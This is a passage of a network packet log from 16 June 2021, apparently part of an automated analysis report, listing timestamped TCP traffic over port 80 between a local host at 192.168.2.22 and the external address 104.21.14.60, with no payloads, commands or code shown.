Jun 16, 2021 12:05:18.590611935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590626955 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590640068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590653896 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590672016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590703011 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590706110 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.590719938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.590946913 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.596677065 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.598685980 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.625108957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625189066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625251055 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625284910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625325918 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625368118 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625406027 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625403881 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.625439882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625453949 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.625478029 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625509977 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625541925 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625575066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625607014 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625613928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.625650883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625689030 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.625725031 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626112938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626167059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626193047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626200914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626208067 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626249075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626288891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626297951 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626328945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626368999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626370907 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626408100 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626425028 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626457930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626502037 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626540899 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626545906 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626581907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.626636028 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626938105 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.626960993 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.627018929 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627064943 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627106905 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627177954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627217054 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.627227068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627271891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627310991 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627351046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627388954 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.627389908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627429962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627470016 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627509117 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.627543926 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.628007889 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628053904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628093004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628112078 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.628134012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628173113 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628210068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628248930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628287077 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628320932 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.628334999 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628380060 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628418922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628459930 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628678083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.628899097 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.628964901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.629010916 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.742743015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742783070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742805004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742825985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742846966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742871046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742877960 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.742893934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742904902 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.742916107 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742938042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742959976 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.742980957 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.742980957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743002892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743071079 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743094921 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743154049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743176937 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743177891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743184090 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743211031 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743232012 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743237019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743259907 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743283033 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743305922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743314981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743331909 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743352890 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743375063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.743376017 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743499041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.743628979 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744000912 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744025946 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744051933 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744074106 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744096041 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744096994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744121075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744141102 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744165897 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744188070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744195938 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744210005 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744231939 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744255066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744278908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744323969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744337082 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744919062 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.744919062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744951963 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744975090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.744997978 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745023012 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745047092 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745071888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745074987 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745094061 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745102882 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745117903 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745140076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745162010 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745162964 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745186090 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745207071 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745858908 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745883942 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745904922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745928049 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745939970 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745949984 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745953083 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745973110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.745989084 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.745995045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746018887 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746032000 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746042013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746063948 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746081114 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746087074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746109962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746124983 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746788025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746814013 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746836901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746839046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746862888 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746887922 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746887922 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746912956 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746934891 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746956110 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746957064 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.746978045 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.746999025 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747003078 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747020960 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747045994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747065067 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747720003 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747750044 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747778893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747778893 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747800112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747817039 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747822046 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747844934 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747864008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747864962 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747888088 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747909069 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747917891 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747931957 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747953892 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747961044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.747977018 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.747997046 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.748652935 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748677015 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748697996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748719931 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748719931 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.748742104 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748763084 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748781919 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.748783112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748806953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:18.748826981 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.754323959 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:18.754347086 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:22.968539953 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.010885954 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175766945 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175810099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175837040 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175863028 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175885916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175909042 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175915003 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.175926924 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.175945044 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.175949097 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.176773071 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176804066 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176831007 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176835060 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.176856995 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176867008 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.176882982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176908970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176913977 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.176930904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176955938 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.176960945 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.176980972 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177010059 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177017927 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177037001 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177062035 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177069902 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177129030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177189112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177215099 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177239895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177248955 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177267075 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177293062 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177299976 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177314997 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177337885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177345991 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177360058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177391052 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177391052 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177417994 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177442074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177448988 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177467108 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.177485943 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.177710056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178145885 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178172112 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178195953 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178217888 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178220034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178245068 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178250074 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178284883 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178309917 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178314924 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178333998 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178359032 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178363085 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178380966 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178402901 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178415060 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178423882 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.178452969 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.178808928 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179002047 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179084063 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179126024 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179151058 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179163933 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179174900 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179202080 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179209948 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179227114 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179250002 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179260015 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179275036 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179296970 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179306030 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179322004 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179344893 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179349899 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.179368019 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.179395914 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180013895 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180042982 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180066109 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180077076 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180090904 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180114985 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180123091 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180144072 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180167913 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180176973 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180192947 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180216074 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180221081 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180239916 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180263996 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180273056 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180288076 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180318117 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.180962086 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.180994034 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181020021 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181030989 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181042910 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181066990 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181076050 CEST	49168	80	192.168.2.22	104.21.14.60
Jun 16, 2021 12:05:23.181091070 CEST	80	49168	104.21.14.60	192.168.2.22
Jun 16, 2021 12:05:23.181114912 CEST	80	49168	104.21.14.60	192.168.2.22
